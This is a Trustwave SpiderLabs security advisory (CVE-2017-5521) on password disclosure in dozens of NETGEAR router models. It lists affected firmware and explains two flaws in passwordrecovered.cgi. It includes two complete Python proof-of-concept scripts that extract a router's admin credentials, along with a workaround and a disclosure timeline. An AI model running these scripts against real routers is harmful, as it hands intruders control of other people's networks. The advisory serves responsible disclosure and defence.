NETGEAR Multiple products Remote and Local Password Disclosure

2017.01.31
Credit: Simon Kenin
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Trustwave SpiderLabs Security Advisory TWSL2017-003: Multiple Vulnerabilities in NETGEAR Routers Published: 01/30/2017 Version: 1.0 Vendor: NETGEAR (http://www.netgear.com/) Product: Multiple products Finding 1: Remote and Local Password Disclosure Credit: Simon Kenin of Trustwave SpiderLabs CVE: CVE-2017-5521 Version affected: # AC1450 V1.0.0.34_10.0.16 (Latest) # AC1450 V1.0.0.22_1.0.10 # AC1450 V1.0.0.14_1.0.6 # D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected) # D6400 V1.0.0.34_1.3.34 # D6400 V1.0.0.38_1.1.38 # D6400 V1.0.0.22_1.0.22 # DC112A V1.0.0.30_1.0.60 (Latest) # DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected) # JNDR3000 V1.0.0.18_1.0.16 (Latest) # R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected) # R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected) # R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected) # R6300 V1.0.2.78_1.0.58 (Latest) # R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched) # R6300v2 V1.0.3.30_10.0.73 # R6700 V1.0.1.14_10.0.29 (Latest beta) # R6700 V1.0.0.26_10.0.26 (Latest stable) # R6700 V1.0.0.24_10.0.18 # R6900 V1.0.0.4_1.0.10 (Latest) # R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched) # R8300 V1.0.2.48_1.0.52 # R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched) # R8500 V1.0.2.26_1.0.41 # R8500 V1.0.0.56_1.0.28 # R8500 V1.0.0.20_1.0.11 # VEGN2610 V1.0.0.35_1.0.35 (Latest) # VEGN2610 V1.0.0.29_1.0.29 # VEGN2610 V1.0.0.27_1.0.27 # WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected) # WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected) # WNDR3700v3 V1.0.0.38_1.0.31 (Latest) # WNDR4000 V1.0.2.4_9.1.86 (Latest) # WNDR4500 V1.0.1.40_1.0.68 (Latest) # WNDR4500v2 V1.0.0.60_1.0.38 (Latest) # WNDR4500v2 V1.0.0.42_1.0.25 # WGR614v10 V1.0.2.60_60.0.85NA (Latest) # WGR614v10 V1.0.2.58_60.0.84NA # WGR614v10 V1.0.2.54_60.0.82NA # WN3100RP V1.0.0.14_1.0.19 (Latest) # WN3100RP V1.0.0.6_1.0.12 # Lenovo R3220 V1.0.0.16_1.0.16 (Latest) # Lenovo R3220 V1.0.0.13_1.0.13 Product description: Multiple Netgear Routers Many Netgear routers are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel a user is asked to authenticate, if the authentication is cancelled and password recovery is not enabled, the user is redirected to a page which exposes a password recovery token. If a user supplies the correct token to the page http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions which were previously set when enabling the feature, this is persistent, even after disabling the recovery option the exploit will fail, because the router will ask for the security questions. This can easily be reproduced using the attached poc, or by sending these two simple requests via the browser: 1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token 2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get) ## netgore.py import sys import requests def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1)[0] else: return "i_dont_speak_english" #disable nasty insecure ssl warning requests.packages.urllib3.disable_warnings() #1st stage - get token ip = sys.argv[1] port = sys.argv[2] url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attcking: " + model[13:-1] else: print "not a netgear router" sys.exit(0) token = scrape(r.text, 'unauth.cgi?id=', '\"') if token == 'i_dont_speak_english': print "not vulnerable" sys.exit(0) print "token found: " + token #2nd stage - pass the token - get the password url = url + 'passwordrecovered.cgi?id=' + token r = requests.post(url, verify=False) #profit if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>'))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>'))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>')) else: print "not vulnerable becuse password recovery IS set" sys.exit(0) #html encoding pops out of nowhere, lets replace that password = password.replace("&#35;","#") password = password.replace("&#38;","&") print "user: " + username print "pass: " + password ================================ Just run the PoC against a router to get the credentials if it is vulnerable. Finding 2: Remote and Local Password Disclosure Credit: Simon Kenin of Trustwave SpiderLabs CVE: CVE-2017-5521 Version affected: # AC1450 V1.0.0.34_10.0.16 (Latest) # AC1450 V1.0.0.22_1.0.10 # AC1450 V1.0.0.14_1.0.6 # D6300 V1.0.0.96_1.1.96 (Latest) # D6300B V1.0.0.36_1.0.36 # D6300B V1.0.0.32_1.0.32 # D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched) # D6400 V1.0.0.22_1.0.22 # DC112A V1.0.0.30_1.0.60 (Latest) # DGN2200v4 V1.0.0.76_1.0.76 (Latest) # DGN2200v4 V1.0.0.66_1.0.66 # DGN2200Bv4 V1.0.0.68_1.0.68 (Latest) # JNDR3000 V1.0.0.18_1.0.16 (Latest) # R6200 V1.0.1.56_1.0.43 (Latest) # R6200 V1.0.1.52_1.0.41 # R6200 V1.0.1.48_1.0.37 # R6200v2 V1.0.3.10_10.1.10 (Latest) # R6200v2 V1.0.1.20_1.0.18 # R6250 V1.0.4.6_10.1.12 (Latest beta) # R6250 V1.0.4.2_10.1.10 (Latest stable) # R6250 V1.0.1.84_1.0.78 # R6300 V1.0.2.78_1.0.58 (Latest) # R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched) # R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.) # R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched) # R6700 V1.0.0.26_10.0.26 (Latest) # R6700 V1.0.0.24_10.0.18 # R6900 V1.0.0.4_1.0.10 (Latest) # R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched) # R7000 V1.0.4.30_1.1.67 # R7900 V1.0.1.8_10.0.14 (Latest beta) # R7900 V1.0.1.4_10.0.12 (Latest stable) # R7900 V1.0.0.10_10.0.7 # R7900 V1.0.0.8_10.0.5 # R7900 V1.0.0.6_10.0.4 # R8000 V1.0.3.26_1.1.18 (Latest beta) # R8000 V1.0.3.4_1.1.2 (Latest stable) # R8300 V1.0.2.48_1.0.52 # R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched) # R8500 V1.0.2.30_1.0.43 # VEGN2610 V1.0.0.35_1.0.35 (Latest) # VEGN2610 V1.0.0.27_1.0.27 # VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest) # VEVG2660 V1.0.0.23_1.0.23 # WNDR3400v2 V1.0.0.52_1.0.81 (Latest) # WNDR3400v3 V1.0.1.4_1.0.52 (Latest) # WNDR3400v3 V1.0.1.2_1.0.51 # WNDR3400v3 V1.0.0.22_1.0.29 # WNDR3700v3 V1.0.0.38_1.0.31 (Latest) # WNDR4000 V1.0.2.4_9.1.86 (Latest) # WNDR4500 V1.0.1.40_1.0.68 (Latest) # WNDR4500 V1.0.1.6_1.0.24 # WNDR4500v2 V1.0.0.60_1.0.38 (Latest) # WNDR4500v2 V1.0.0.50_1.0.30 # WNR1000v3 V1.0.2.68_60.0.93NA (Latest) # WNR1000v3 V1.0.2.62_60.0.87 (Latest) # WNR3500Lv2 V1.2.0.34_40.0.75 (Latest) # WNR3500Lv2 V1.2.0.32_40.0.74 # WGR614v10 V1.0.2.60_60.0.85NA (Latest) # WGR614v10 V1.0.2.58_60.0.84NA # WGR614v10 V1.0.2.54_60.0.82NA # Lenovo R3220 V1.0.0.16_1.0.16 (Latest) # Lenovo R3220 V1.0.0.13_1.0.13 Many Netgear routers are prone to password disclosure via simple crafted request to the web management server. The bug is exploitable remotely if the remote management option is set and can also be exploited given access to the router over LAN or WLAN. Netgear routers have an option to restore forgotten password via 2 security questions. If the recovery option is disabled (which is the default), it is still possible to recover the password by sending a correct token to the recovery page. If a user supplies the correct token to the page http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions which were previously set when enabling the feature, this is persistent, even after disabling the recovery option, the exploit will fail, because the router will ask for the security questions. This mechanism does not work correctly on the very first request to "passwordrecovered.cgi" and the token is not properly checked, this means that any TOKEN value will result in disclosure of the password. The issue occurs after every reboot of the router. This can easily be reproduced using the attached poc, or by sending a simple request via the browser: 1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get) ## netgore2.py import sys import requests def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1)[0] else: return "i_dont_speak_english" #disable nasty insecure ssl warning requests.packages.urllib3.disable_warnings() #1st stage ip = sys.argv[1] port = sys.argv[2] url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attcking: " + model[13:-1] else: print "not a netgear router" sys.exit(0) #2nd stage url = url + 'passwordrecovered.cgi?id=get_rekt' try: r = requests.post(url, verify=False) except: print "not vulnerable router" sys.exit(0) #profit if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>'))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>'))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>')) else: print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again" sys.exit(0) #html encoding pops out of nowhere, lets replace that password = password.replace("&#35;","#") password = password.replace("&#38;","&") print "user: " + username print "pass: " + password ================================ Just run the PoC against a router to get the credentials if it is vulnerable. Remediation Steps: Please see NETGEAR's KBA for list of firmware patches for various models. As a workaround, the bug only works when password recovery is NOT set. If you do set password recovery this is not exploitable. Revision History: 04/06/2016 - Vulnerability disclosed to vendor 04/19/2016 - Request for update and received confirmation of receipt of the advisories 05/18/2016 - Request for update; no response 07/14/2016 - Request for update 07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage 10/17/2016 - Request for update 12/15/2016 - Notice of intent to publish advisories 01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd 01/30/2017 - Advisory published References 1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html 2. https://www.exploit-db.com/exploits/32883/ 3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.


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